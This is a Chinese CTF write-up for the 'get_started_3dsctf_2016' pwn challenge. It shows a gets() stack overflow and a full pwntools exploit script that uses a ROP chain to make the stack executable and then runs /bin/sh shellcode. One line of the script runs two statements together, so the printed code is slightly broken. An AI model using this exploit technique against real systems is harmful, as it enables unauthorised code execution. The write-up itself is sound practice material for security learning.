【CTF】get_started_3dsctf_2016

2024-06-04 17:38
文章标签 ctf started get 2016 3dsctf

本文主要是介绍【CTF】get_started_3dsctf_2016,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

解题思路:
1 先反编译,第一印象代码比较多、杂,找main函数找了半天才找到。

undefined4 main(void)
{char local_38 [56];printf("Qual a palavrinha magica? ");gets(local_38);return 0;
}

2 看main函数,第一感觉是典型的栈溢出。然后就是ELF的一些保护。

Arch:     i386-32-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x8048000)

同样,第一感觉,NX enabled,栈不可执行,shellcode方法被PASS掉,那就需要找系统函数ROP。

3 翻了代码,第一,没有找到程序中可以利用的函数;第二,程序没有加载libc(看了下反编译的代码,printf和gets都是重写的),利用libc的方式也不行。

4 走到死胡同了,看来得回头考虑shellcode的方式。因为之前没有接触过类似的题目,所以有点漫无目的,在代码中搜system、execve、exec等关键字,嗨,真被搜出来一个线索:

_dl_make_stack_executable
execute_stack_op

看字面意思都是栈可执行相关的函数,不熟悉,一搜索就搜索出类似题目的writeup,没办法,看一眼吧。链接在文末。主要思想:

int __regparm3 _dl_make_stack_executable(uint *param_1){int iVar1;int in_GS_OFFSET;if (*param_1 == __libc_stack_end) {iVar1 = mprotect((void *)(-_dl_pagesize & *param_1),_dl_pagesize,__stack_prot);if (iVar1 == 0) {*param_1 = 0;_dl_stack_flags = _dl_stack_flags | 1;}else {iVar1 = *(int *)(&DAT_ffffffe8 + in_GS_OFFSET);}return iVar1;}return 1;
}

1)进入__libc_stack_end那个判断分支
2)__stack_prot需要赋值为7,打开栈可执行权限。

5 剩下就是常规操作, 找溢出点,工具生成shellcode,找gadget。

from pwn import *
from pwnlib.shellcraft import i386
import time
elf = ELF('./get_started_3dsctf_2016')
sh = process('get_started_3dsctf_2016')
shellcode = b"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x89\xca\x6a\x0b\x58\xcd\x80"
nops = b"\x90" * (56)
rop = nops
rop  += p32(0x0806fc30) # pop edx ; ret
rop  += p32(0x080eafec) # __stack_prot
rop  += p32(0x01020304) # 下面两个值无意义,没有找到合适的gadget
rop  += p32(0x05060708)
rop  += p32(0x080b91e6) # pop eax ; ret
rop  += p32(0x07)       # 7 (PROT_EXEC|PROT_READ|PROT_WRITE|PROT_NONE)
rop  += p32(0x080557ab) # mov dword ptr [edx], eax ; retrop  += p32(0x080b91e6) # pop eax ; ret
rop += p32(0x080eafc8) # __libc_stack_end (param1通过eax传入)
rop += p32(0x0809aef0)  # _dl_make_stack_executable
rop += p32(0x08093d41) # push esp; ret (需要,把shellcode放入esp执行?)
rop += shellcode
print(rop)
with open("payload.txt", "wb") as f:f.write(rop)
sh.sendline(rop)
sh.interactive()

总结:
1)找gadget费了些时间,原因是工具不熟,不能很快速的找到自己想要的gadget。(之前的题目好像很容易找~~~,没有动用工具专门去找过)
2)中间找到某个gadget,但是因为地址有0x0a,也就是\n换行符的ASCII码,导致输入被截断,排查了好一会,最后只能换另外一个gadget。
3) gdb还是不够熟,调试费了不少时间。

附录:

  1. The Tale of the Really SAD binary
  2. [ROP] Ret to Stack

这篇关于【CTF】get_started_3dsctf_2016的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/1030679

相关文章

BD错误集锦3——ERROR: Can't get master address from ZooKeeper; znode data == null

hbase集群没启动,傻子!   启动集群 [s233 s234 s235]启动zk集群 $>zkServer.sh start $>zkServer.sh status   [s233] 启动dfs系统 $>start-dfs.sh 如果s237 namenode启动失败,则 [s237] $>hadoop-daemon.sh start namenode [s233]启动yarn集群

[分布式网络通讯框架]----Zookeeper客户端基本操作----ls、get、create、set、delete

Zookeeper数据结构 zk客户端常用命令 进入客户端 在bin目录下输入./zkCli.sh 查看根目录下数据ls / 注意:要查看哪一个节点,必须把路径写全 查看节点数据信息 get /第一行代码数据,没有的话表示没有数据 创建节点create /sl 20 /sl为节点的路径,20为节点的数据 注意,不能跨越创建,也就是说,创建sl2的时候,必须确保sl

【鸿蒙】ERROR_GET_BUNDLE_INSTALLER_FAILED

错误信息 [ERROR_GET_BUNDLE_INSTALLER_FAILED] Troubleshooting guide $ hdc file send D:\Huawei\devEcoProjects\entry\build\default\outputs\default\entry-default-unsigned.hap /sdcard/e8a215ea7be1444197e6a58e

关于IE get 请求报400

问题描述: 在使用IE8进行get请求时,参数中有中文存在,发现发送请求之后,返回http状态码400 问题解决方法: 把请求连接进行处理window.encodeURI('http://aaa:8080/wtp?name=小明'); window.location.href=window.encodeURI('http://aaa:8080/wtp?name=小明'); 然后在把处理后

面试题3:GET 和 POST 有什么区别?

[!]高频面试题。 GET 和 POST 没有本质区别,可以进行相互代替。 1、GET语义:“从服务器获取数据”;POST语义:“往服务器上提交数据”。[设计初衷,不一定要遵守] 2、发请求时,给服务器传递的数据,GET 一般是放在查询字符串中,但GET 也可以把数据放在 body 里。不过比较少见,以至于浏览器不一定能支持,不过其他的http客户端可以支持;POST 一般是放在 body 中

Elasticsearch java API (10)Multi Get API

Multi Get API编辑 多让API允许基于他们得到的文档列表 index, type和 id: MultiGetResponse multiGetItemResponses = client.prepareMultiGet().add("twitter", "tweet", "1") // <1> .add("twitter", "tweet

Elasticsearch java API (7)GET API

GET API编辑 On this page 操作线程 get API允许获得类型从指数基于JSON文档id。下面的例子得到一个JSON文档的索引称为twitter,在一种称为tweet,id为价值1: GetResponse response = client.prepareGet("twitter", "tweet", "1").get(); 在g

修复漏洞Windows 2012 Server R2(CVE-2016-2183)、(CVE-2015-2808)、(CVE-2013-2566)

修复漏洞 漏洞风险等级评定标准主机风险等级评定标准漏洞概括利用注册表修复漏洞查看修复后的漏洞 漏洞风险等级评定标准 危险程度危险值区域危险程度说明高7 <=漏洞风险值<= 10攻击者可以远程执行任意命令或者代码,或对系统进行远程拒绝服务攻击。中4 <=漏洞风险值< 7攻击者可以远程创建、修改、删除文件或数据,或对普通服务进行拒绝服务攻击。低0 <=漏洞风险值< 4攻击者可以获取

过滤$_GET $_POST 等数组非法值

//过滤数组function _addslashes($arr){foreach($arr as $k=>$v){if(is_string($v)){$arr[$k]=addslashes($v);}else if(is_array($v)){$arr[$k]=_addslashes($v);}}return $arr;}

CTF-蓝帽杯 2022 初赛Misc计算机取证题目详解

使用工具:Volatility、Passware Kit、Arsenal Image Mounter、DiskGenius 题目文件如下: 首先要知道这些文件是什么: dmp后缀指Dump文件,是windows系统中的错误转储文件。包含计算机程序运行时的内存信息的文件。通常操作系统或应用程序在遇到系统崩溃、死机或其他严重错误时,会自动将程序运行环境的所有信息导出到一个.dmp文件中。所以